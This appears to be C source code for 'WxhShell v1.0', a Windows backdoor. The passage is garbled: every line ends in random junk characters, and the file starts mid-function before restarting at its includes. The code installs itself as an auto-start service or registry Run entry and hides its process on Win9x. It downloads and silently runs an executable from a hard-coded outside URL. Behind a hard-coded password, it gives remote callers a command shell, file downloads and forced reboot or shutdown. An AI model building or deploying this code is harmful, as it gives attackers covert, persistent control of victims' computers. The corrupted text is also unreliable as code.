    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8$ZSF92C  
    if(Boot(SHUTDOWN)) 1lyOp   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I<./(X[H:#  
    else { ^r*%BUU9]%  
    closesocket(wsh); Gr$*t,ZW  
    ExitThread(0); / 7XdV  
    } ~e77w\Q0  
    break; VhFRh,J(T  
    } %K'*P56  
  // 获取shell m}[~A@qD  
  case 's': { N5s|a5  
    CmdShell(wsh); /Jf`x>eiH  
    closesocket(wsh); v7FRTrqjj  
    ExitThread(0); C2rj]t  
    break; /lB0>Us  
  } ;K\N  
  // 退出 C6UMc} 9h  
  case 'x': { >Y-TwD aE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V/}>>4  
    CloseIt(wsh); qzt2j\v  
    break; I"32[?0 (;  
    } $Cd;0gdv  
  // 离开 nP\V1pgA  
  case 'q': { DJYXC,r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QeeC2  
    closesocket(wsh); 7Sz'vyiz  
    WSACleanup(); >'-w %H/  
    exit(1); ix7 e] )m(  
    break; ]9&q'7*L  
        } &1E~ \8U  
  } Uc_`Eh3y  
  } E)Qh]:<2v  
PR@4' r|a  
  // 提示信息 ]Uu(OI<)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  n22hVw  
} xcZ%,7  
  } M&djw`B  
NnLhJPh  
  return; .aismc`=  
} 6"Lsui??  
?FV7|)f  
// shell模块句柄 dD^_^'i  
int CmdShell(SOCKET sock) j&[.2PW\  
{ u1) TG "+0  
STARTUPINFO si; W]D`f8r9  
ZeroMemory(&si,sizeof(si)); {nPkb5xbW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Tc)f_a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g)9JO6]  
PROCESS_INFORMATION ProcessInfo; $]%<r?MUb-  
char cmdline[]="cmd"; 4/2RfDp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5&HT$"H :  
  return 0; &AQ;ze  
} a(ux?V)E.  
%kZ~xbY  
// 自身启动模式 l0caP(  
int StartFromService(void) sh !~T<yy  
{ W?^8/1U  
typedef struct X(!AI|6Bt  
{ VX!Y`y^a  
  DWORD ExitStatus; ~*mOt 7G  
  DWORD PebBaseAddress; ci ,o8 [Y  
  DWORD AffinityMask; (Gi+7GMV'  
  DWORD BasePriority; g\qL}:  
  ULONG UniqueProcessId; zY+t,2z  
  ULONG InheritedFromUniqueProcessId; | 3N.5{  
}   PROCESS_BASIC_INFORMATION; sm2p$3v  
xS~yH[k  
PROCNTQSIP NtQueryInformationProcess; D]pK=247  
s-GleX<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b#p~F}qT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ayH%  qp  
!$p2z_n$@.  
  HANDLE             hProcess; ti{H(;;@  
  PROCESS_BASIC_INFORMATION pbi; ?)?IZ Qj  
V#zhG AMy.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kJurUDo  
  if(NULL == hInst ) return 0; { OxAY_  
jMf 7J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'HQ7 |Je  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }RA3$%3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); foFg((tS  
\3Q:K |  
  if (!NtQueryInformationProcess) return 0; +EST58  
ol?z<53X]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HzD>-f  
  if(!hProcess) return 0; QN5yBa!Wz  
Q{qj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iHE0N6%q  
-7-Fd_F8  
  CloseHandle(hProcess); BrNG%%n  
$Yx6#m}[M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FXOT+9bg  
if(hProcess==NULL) return 0; io t.E%G  
RwAbIXG{0  
HMODULE hMod; Yg=E@F   
char procName[255]; Z:_m}Ya|  
unsigned long cbNeeded; r/CEYEJ&X  
U`bC>sCp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3 x"@**(Q  
bK03 S Vx  
  CloseHandle(hProcess); kyW6S+#-  
+A8=R%&b)[  
if(strstr(procName,"services")) return 1; // 以服务启动 8!u/   
tC2 )j7@  
  return 0; // 注册表启动 `a9k!3_L  
} [cGt  
5i!V}hE  
// 主模块 _`bS[%CJ  
int StartWxhshell(LPSTR lpCmdLine) QL)>/%yU  
{ 1DEO3p  
  SOCKET wsl; <a8#0ojm  
BOOL val=TRUE; WF ?/GN  
  int port=0; T!u'V'Ei2  
  struct sockaddr_in door; zW"~YaO%C  
@9OeC O  
  if(wscfg.ws_autoins) Install(); G 2%  
[;(]Jy  
port=atoi(lpCmdLine); tA`mD>[  
*.kj]BoO  
if(port<=0) port=wscfg.ws_port; >DDQ'W!  
!lR0w|  
  WSADATA data; KWFyw>*)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ftYR,!&  
b@=z rhQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RH!SW2o<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eyr5jXt%;  
  door.sin_family = AF_INET; -Bo86t)F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *'Z-OY<V  
  door.sin_port = htons(port); wrH7 pd  
lZ}izl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LQh^; ]^(  
closesocket(wsl); wqJ*%  
return 1; qTyg~]e9(  
} ;EK(b  
7d3 'CQQ4  
  if(listen(wsl,2) == INVALID_SOCKET) { wENzlXeOP  
closesocket(wsl); \Os:6U=X-  
return 1; s{yJ:WncI  
} :&Qb>PH[  
  Wxhshell(wsl); 'n~fR]h}  
  WSACleanup(); sS C?io  
OI~}e,[2z  
return 0; fph-v-cl  
e Wc_N  
} y7CWBTH0>  
W;^N8ap%  
// 以NT服务方式启动  %)pP[[h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hab!qWK`  
{ OZG0AX+=#  
DWORD   status = 0; O[; +i  
  DWORD   specificError = 0xfffffff; pPoH5CzcK  
?K0U3V$s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pp(H PKs=}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fk+1#7{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s>T`l  
  serviceStatus.dwWin32ExitCode     = 0; fCLcU@3W?  
  serviceStatus.dwServiceSpecificExitCode = 0; Gu2_dT  
  serviceStatus.dwCheckPoint       = 0; Y;8 >=0ye  
  serviceStatus.dwWaitHint       = 0; V?=TVI*k  
/Z:N8e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Cvjs  
  if (hServiceStatusHandle==0) return; \ 0D$Mie  
1XG$ z@NN  
status = GetLastError(); /v5qyR7an  
  if (status!=NO_ERROR) rxQ<4  
{ >&BrCu[u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H\ 3M  
    serviceStatus.dwCheckPoint       = 0; _HwpPRVP/  
    serviceStatus.dwWaitHint       = 0; ]22C )<  
    serviceStatus.dwWin32ExitCode     = status; qc3~cH.@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ])C>\@c6Gm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }xqXd%uz  
    return; $)Wb#B  
  } &(g|="T  
PJCnud F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G=1m] >I8  
  serviceStatus.dwCheckPoint       = 0; PCtkjd  
  serviceStatus.dwWaitHint       = 0; 3 :UA<&=s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NW)M?f+6  
} rw&y,%2  
Yr+d1(  
// 处理NT服务事件,比如:启动、停止 VQ2Fnb4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~]4kkm7Y  
{ =Ci13< KQ  
switch(fdwControl) K<#-"Xe;  
{ q?yMa9ZZky  
case SERVICE_CONTROL_STOP: WJAYM2 6\  
  serviceStatus.dwWin32ExitCode = 0; (Q'U@{s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L7m`HVCt&  
  serviceStatus.dwCheckPoint   = 0; JPLI @zX^  
  serviceStatus.dwWaitHint     = 0; 7ZQ'h3K  
  { r]0(qg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0?^[;[u[  
  } 9<v}LeX  
  return; sW?B7o?  
case SERVICE_CONTROL_PAUSE: 3EmcYC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; or7pJy%4"  
  break; va^0JfQ  
case SERVICE_CONTROL_CONTINUE: A';n6ne%i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ' X}7]y  
  break; @LcT-3u  
case SERVICE_CONTROL_INTERROGATE: i *B:El1  
  break; WKxm9y V  
}; K}Na3}m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q@%h^9.  
} QhCY}Q?X  
_-/x;C  
// 标准应用程序主函数 r sLc&2F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q&gPa]z]}  
{ @HvScg*Y  
d5:tSO  
// 获取操作系统版本 K@6`-|I  
OsIsNt=GetOsVer(); !_dR'  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  \dTQQ  
*2=W5LaK.  
  // 从命令行安装 !y%+GwoW  
  if(strpbrk(lpCmdLine,"iI")) Install(); :c=v}  
kxh 5}eB  
  // 下载执行文件 9^!wUwB  
if(wscfg.ws_downexe) { x<s|vgl|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s@s/ '^`  
  WinExec(wscfg.ws_filenam,SW_HIDE); T/5"}P`  
} <raG07{!*  
sQtf,e|p  
if(!OsIsNt) { Mn@$;\:  
// 如果时win9x,隐藏进程并且设置为注册表启动 xg} ug[  
HideProc(); <BPRV> 0X  
StartWxhshell(lpCmdLine); 4>YU8/Rw  
} YDFCGA  
else XVF^,Yf  
  if(StartFromService()) q & b5g !  
  // 以服务方式启动 f^?uY8<  
  StartServiceCtrlDispatcher(DispatchTable); ;E#\   
else (z2Z)_6L*L  
  // 普通方式启动 d=y0yq{L  
  StartWxhshell(lpCmdLine); +zsZNJ(U  
f>z`i\1oO  
return 0; 5oJ Dux }  
} .LObOR 5J7  
G?/c/rG  
4uUs7T  
<s}|ZnGE   
=========================================== 3Z1OX]R  
sT`^ljp4  
&K *X)DAs  
hiwIWd:H  
%$TEDr!  
#Qd' + M  
" k" YHsn  
?PH/?QP  
#include <stdio.h> VFSz-<L  
#include <string.h> 9U^$.Lb  
#include <windows.h> $O9Xx  
#include <winsock2.h> W2eAhz&  
#include <winsvc.h> ~@Kf2dHes  
#include <urlmon.h>  so fu  
kaQ2A  
#pragma comment (lib, "Ws2_32.lib") 9tk" :ld  
#pragma comment (lib, "urlmon.lib") .45^=2NGmQ  
+j[`,5oS  
#define MAX_USER   100 // 最大客户端连接数 :Q-oV8t{  
#define BUF_SOCK   200 // sock buffer d0 -~| `5  
#define KEY_BUFF   255 // 输入 buffer HH8;J66I&  
2]2H++  
#define REBOOT     0   // 重启 c@(1:,R  
#define SHUTDOWN   1   // 关机 hH`Jb7 7L  
k|FSz#Y  
#define DEF_PORT   5000 // 监听端口 DMd ,8W7a  
J?%}=_fsa  
#define REG_LEN     16   // 注册表键长度 -=)-sm'  
#define SVC_LEN     80   // NT服务名长度 q8sb n  
,J(lJ,c  
// 从dll定义API S0LszW)e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RtC'v";6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -e ml  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g1 9S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #3 bv3m  
ArzDI{1  
// wxhshell配置信息 U =cWmH  
struct WSCFG { QU/3X 1W  
  int ws_port;         // 监听端口 tg85:  
  char ws_passstr[REG_LEN]; // 口令 NfwYDY  
  int ws_autoins;       // 安装标记, 1=yes 0=no wqy ^8N[K]  
  char ws_regname[REG_LEN]; // 注册表键名 mW4%2fD[  
  char ws_svcname[REG_LEN]; // 服务名 m<:IFx#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _ 08];M|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2a `J%A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *eUc.MX6x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Ltr.ci  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nbmc[!PwG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tZA:  
-(IC~   
}; N:x0w+Ca  
{DBIonY];  
// default Wxhshell configuration >F3.c%VU]w  
struct WSCFG wscfg={DEF_PORT, J`oTes,  
    "xuhuanlingzhe", }U[-44r:  
    1, 9y^/GwUQ  
    "Wxhshell", I:$"E% >=  
    "Wxhshell", {QQl$ys/  
            "WxhShell Service", #$'FSy#  
    "Wrsky Windows CmdShell Service", Wx]d $_  
    "Please Input Your Password: ", ;6m;M63z  
  1, .Yx_:h=u  
  "http://www.wrsky.com/wxhshell.exe", ZL_[4 Y  
  "Wxhshell.exe" 6y  Wc1  
    }; 3KcaT5(&  
]sj0~DI*m  
// 消息定义模块 aB"xqh)a}T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X:=c5*0e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3nFt1E   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EJm4xkYLj1  
char *msg_ws_ext="\n\rExit."; o\6iq  
char *msg_ws_end="\n\rQuit."; saW!9HQj  
char *msg_ws_boot="\n\rReboot..."; $}tjS3klr  
char *msg_ws_poff="\n\rShutdown..."; P`"mM?u  
char *msg_ws_down="\n\rSave to "; B8V,)rn  
C_->u4 -  
char *msg_ws_err="\n\rErr!"; S%l:kKD  
char *msg_ws_ok="\n\rOK!"; R1%y]]*-P  
.y):Rh^  
char ExeFile[MAX_PATH]; AK2WN#u@Z  
int nUser = 0; n29(!10Px  
HANDLE handles[MAX_USER]; #a,9B-X  
int OsIsNt; OW`STp!  
Gv~p  
SERVICE_STATUS       serviceStatus; T PYDs+U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <DZcra  
yA;W/I4  
// 函数声明 YV([2  
int Install(void); 8_Z/o5s  
int Uninstall(void); g`?:=G:a*  
int DownloadFile(char *sURL, SOCKET wsh); X9XI;c;b-  
int Boot(int flag); [,g~m9  
void HideProc(void); g1|w?pI1  
int GetOsVer(void); 3M<!?%v\A  
int Wxhshell(SOCKET wsl); ~V+l_ :  
void TalkWithClient(void *cs); 3?E}t*/  
int CmdShell(SOCKET sock); dGkg aC+  
int StartFromService(void); 97LpY_sU  
int StartWxhshell(LPSTR lpCmdLine); P} r)wAt  
D:E9!l'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,]$A\+m'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3f&|h^\nD  
*%A}x   
// 数据结构和表定义 k4y}&?$B  
SERVICE_TABLE_ENTRY DispatchTable[] = rK|*hcy  
{ va,~w(G  
{wscfg.ws_svcname, NTServiceMain}, 'HaD~pa  
{NULL, NULL} 4JO@BV>t  
}; +jV_Wz  
mEDpKWBk  
// 自我安装 li/aN  
int Install(void) ^^}Hs-{T  
{ VKrShI  
  char svExeFile[MAX_PATH]; -[]';f4]M  
  HKEY key; N"c(e6  
  strcpy(svExeFile,ExeFile); qnIew?-*  
w~+aW(2  
// 如果是win9x系统,修改注册表设为自启动 ` }8&E(<  
if(!OsIsNt) { geGeZ5+B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r<yhI>>;<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YQVcECj  
  RegCloseKey(key); K=\&+at1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ijedo/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GdA.g w  
  RegCloseKey(key); /[pqI0sf<A  
  return 0; x$B&L`QV  
    } AHd-  
  } WS,7dz  
} A 's-'8m  
else { nSS=%,?  
V4K'R2t  
// 如果是NT以上系统,安装为系统服务 wda';@y5(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !j^&gRH  
if (schSCManager!=0) bFGDgwe z  
{ Qv{,wytyO  
  SC_HANDLE schService = CreateService >*qQ+_  
  ( m*n5zi|O  
  schSCManager, @Icq1zb] y  
  wscfg.ws_svcname, {fz$Z!8-  
  wscfg.ws_svcdisp, `W5-.Tv  
  SERVICE_ALL_ACCESS, h;M3yTM-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oU+F3b}5p  
  SERVICE_AUTO_START, eegx'VSX4  
  SERVICE_ERROR_NORMAL, OO-k|\{ |  
  svExeFile, GozPvR^/  
  NULL, g22gIj]  
  NULL, Pe$6s:|NS  
  NULL, o"q+,"QL  
  NULL, S`= WF^  
  NULL -Kxc$}  
  ); V|FrN*m  
  if (schService!=0) )K0i@hM(n  
  { $3;Upgv  
  CloseServiceHandle(schService); G|4^_`-  
  CloseServiceHandle(schSCManager); G+WM`:v8%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \b8\Ug~t  
  strcat(svExeFile,wscfg.ws_svcname); @;)PSp*j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;y1Q6eN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =8JB8ZFP  
  RegCloseKey(key); p 2 !FcFi  
  return 0; O)#U ^  
    } k`VM2+9h'^  
  } $c9k*3{<+A  
  CloseServiceHandle(schSCManager); Tls a%pn  
} A Y9 9!p  
} f )NHM'  
K+d2m9C=  
return 1; jRj=Awy  
} X6@wkrf-  
!G?gsW0\h  
// 自我卸载 M+Uyb7  
int Uninstall(void) %1}6q`:w  
{ "(TkJbwC[  
  HKEY key; g8pO Lr'  
;JTt2qQKo  
if(!OsIsNt) { M$S]}   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \3zj18(@8!  
  RegDeleteValue(key,wscfg.ws_regname); 7y<1LQ;}  
  RegCloseKey(key); <~"lie1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Poy^RpnX  
  RegDeleteValue(key,wscfg.ws_regname); YT-=;uK^S  
  RegCloseKey(key); #&Is GyU  
  return 0; Hfc"L>  
  } w*!wQ,o  
} ALT^8c&K  
} nCnjq=  
else { {1Eu7l-4  
w1^QD^KnH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sycw %k  
if (schSCManager!=0) m $dV<  
{ !m y8AWO'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r o\1]`6  
  if (schService!=0) elO<a]hX  
  { W>-B [5O&[  
  if(DeleteService(schService)!=0) { 4na8  
  CloseServiceHandle(schService); x]4Kkpqm  
  CloseServiceHandle(schSCManager); Gi?_ujZR  
  return 0; eN>0wd5{L  
  } p,!$/Q+l  
  CloseServiceHandle(schService); {{{#?~3$7  
  } \:_3i\2p  
  CloseServiceHandle(schSCManager); 4^Rd{'mt  
} 1{PG>W  
} i*[n{=*l@  
< n?=|g  
return 1; cy3Td28,  
} EbK0j?  
SreYJT%  
// 从指定url下载文件 c$H+g,7xQ-  
int DownloadFile(char *sURL, SOCKET wsh) :#{Xuy:  
{ `!4,jd  
  HRESULT hr; F4C!CUI  
char seps[]= "/"; +l 0g`:  
char *token; 93Yn`Av;  
char *file; M"Y0jQ(  
char myURL[MAX_PATH]; "lVqU  
char myFILE[MAX_PATH]; l|"6yB |  
[M+tB"_  
strcpy(myURL,sURL); F:g=i}7  
  token=strtok(myURL,seps); c:4P%({  
  while(token!=NULL) %,V YiW0  
  { E`;;&V q-  
    file=token; 5J.0&Dda  
  token=strtok(NULL,seps); )e%}b -I'r  
  } |D#2GeBw1h  
MQTdk*L_]  
GetCurrentDirectory(MAX_PATH,myFILE); oh-|'5+,;h  
strcat(myFILE, "\\"); cDkV;$  
strcat(myFILE, file); N$I03m  
  send(wsh,myFILE,strlen(myFILE),0); 6d|q+]x_n  
send(wsh,"...",3,0); pV\YG B+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LBlN2)\@  
  if(hr==S_OK) 6(V /yn ~  
return 0; b]fzRdhl  
else L36Yx7gT<  
return 1; X(AN)&L[  
4[2_,9}  
} /DFV$+9  
Tx>K:`oB  
// 系统电源模块 EtJ8^[u2J  
int Boot(int flag) Ao.\  
{ aMuVqZw  
  HANDLE hToken; }SfbCa)UO  
  TOKEN_PRIVILEGES tkp; blt'={Z?.x  
8*a), 3aK  
  if(OsIsNt) { Z|m`7xeCy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v zo4g,Bj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nvq3*  
    tkp.PrivilegeCount = 1; JMa3btLy(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V%ii3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "M H6fF  
if(flag==REBOOT) { Qyh/ed/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UE0$ o?  
  return 0; |zsbW9 W*m  
} 7=}F{U  
else { ocRdbmS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @cvP0A  
  return 0; ` }gbc69  
} PX O!t]*  
  } yt0,^*t_  
  else { S;\R!%t_  
if(flag==REBOOT) { @tT-JwU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <^R{U&Z@  
  return 0; D{7w!z  
} Qst$S}n  
else { oF:v JDSS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |`O5Xs1{B  
  return 0; _F(P*[[&  
} Nn6S 8kc  
} H=c`&N7E  
;O#g"8  
return 1; cu9Qwm  
} v4vf }.L]  
p.JXS n  
// win9x进程隐藏模块 ii|? ;  
void HideProc(void) s95F#>dr  
{ {,$rkwW  
4mYCSu14:`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?8V UO x  
  if ( hKernel != NULL ) s|yVAt|=  
  { @tUoD>f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Z,E><t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ':h =*v8a  
    FreeLibrary(hKernel); Rd&9E  
  } T2'RATfG  
8G^<[`.@j  
return; 7{kP}?  
}  ht97s  
uXZg1 F)  
// 获取操作系统版本 [3/VCYje  
int GetOsVer(void) ]wn/BG)  
{ N;sm*+r  
  OSVERSIONINFO winfo; cD}Sf>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eCbf9B  
  GetVersionEx(&winfo); p^)B0[P9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z9`TwS@x[  
  return 1;   WY  
  else [j,txe?n  
  return 0; #& .]" d  
} -#:zsu  
vRQOs0F;  
// 客户端句柄模块 K|S:{9Q  
int Wxhshell(SOCKET wsl) TV59(bG.2  
{ s<QkDERMX  
  SOCKET wsh; F3U`ueP  
  struct sockaddr_in client; 0?Q_@Y  
  DWORD myID; -b;|q.!  
rVSZ.+n  
  while(nUser<MAX_USER) W_YY#wf_  
{ ]c)_&{:V  
  int nSize=sizeof(client); |+,[``d>"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pf"<!O[  
  if(wsh==INVALID_SOCKET) return 1; AG6K daJ  
5r,r%{@K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E)N<lh  
if(handles[nUser]==0) 8AFczeg[[  
  closesocket(wsh); 3)Ac"nuyqH  
else IND]j72  
  nUser++; m}j:nk  
  } dR^"X3$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aG`;OgrH  
G5.nPsuM   
  return 0; = duks\)O  
} ,Ds.x@p  
Z=S>0|`R  
// 关闭 socket "hz\Z0zg2  
void CloseIt(SOCKET wsh) \Gp*x\<^Z  
{ JC?N_kP%W  
closesocket(wsh); ^]C&tG0 !  
nUser--; RD,5AShP  
ExitThread(0); qPGuo5^  
} xJ8%<RR!t  
t ~7V { xk  
// 客户端请求句柄 KDP H6  
void TalkWithClient(void *cs) U977#M Xf  
{ tAu4haa4;  
rNOES3[~  
  SOCKET wsh=(SOCKET)cs; G[Lpe  
  char pwd[SVC_LEN]; N 5zlT  
  char cmd[KEY_BUFF]; Y]|:?G7l]  
char chr[1]; [/ M^[p  
int i,j; WCJxu}!  
*LC+ PZV@  
  while (nUser < MAX_USER) { P$GjF-!:  
Mj=$y?d ]  
if(wscfg.ws_passstr) { 24c ek  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ey[On^$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cE'L% Z  
  //ZeroMemory(pwd,KEY_BUFF); y3u+_KY-  
      i=0; 0U/,aHvhP  
  while(i<SVC_LEN) { B@YyQ'  
PCrU<J 7  
  // 设置超时 }G<T:(a  
  fd_set FdRead; 58xnB!h\}  
  struct timeval TimeOut; %(/!ljh_  
  FD_ZERO(&FdRead); z&8un% Jt  
  FD_SET(wsh,&FdRead); `6Qdfmk=  
  TimeOut.tv_sec=8; QnouBrhO  
  TimeOut.tv_usec=0; yF._*9Q3hK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ck =;1sGh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B$Z3+$hfF  
P,DC7\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T'-FV  
  pwd=chr[0]; RkEN ,xWE  
  if(chr[0]==0xd || chr[0]==0xa) { /\s}uSW  
  pwd=0; SlLw{Yb7\.  
  break; LjFqZrH  
  } t`'iU$:1f  
  i++; 4\ c,)U}  
    } owpWz6k7  
E\ 8  
  // 如果是非法用户,关闭 socket b,TiMf9},h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1SIq[1  
} #:x4DvDkR  
2aA`f7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uggw-sRU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #zUXyT#X  
"[p@tc?5  
while(1) { zQ6p+R7D  
0H_!Kg  
  ZeroMemory(cmd,KEY_BUFF); v60^4K>  
9i5,2~  
      // 自动支持客户端 telnet标准   rX7QbAB  
  j=0; o_M.EZO  
  while(j<KEY_BUFF) { _Us*+ 2(4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A=zPL q{Sb  
  cmd[j]=chr[0]; 2L_6x<u'  
  if(chr[0]==0xa || chr[0]==0xd) { <Peebv&v  
  cmd[j]=0; gd/H``x|Y  
  break; \vfBrN  
  } gwd (N  
  j++; nP~({ :l8X  
    }  6Si-u  
5v\!]?(O;  
  // 下载文件 ma$Prd  
  if(strstr(cmd,"http://")) { 5qUTMT['T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |wE3UWsy  
  if(DownloadFile(cmd,wsh)) |H}m4-+*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ixm&aW6<  
  else YT/kC'A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PYRd] %X  
  } dBV7Te4L  
  else { )\;Z4x;]U  
q*![AzFh  
    switch(cmd[0]) { )QagS.L{z  
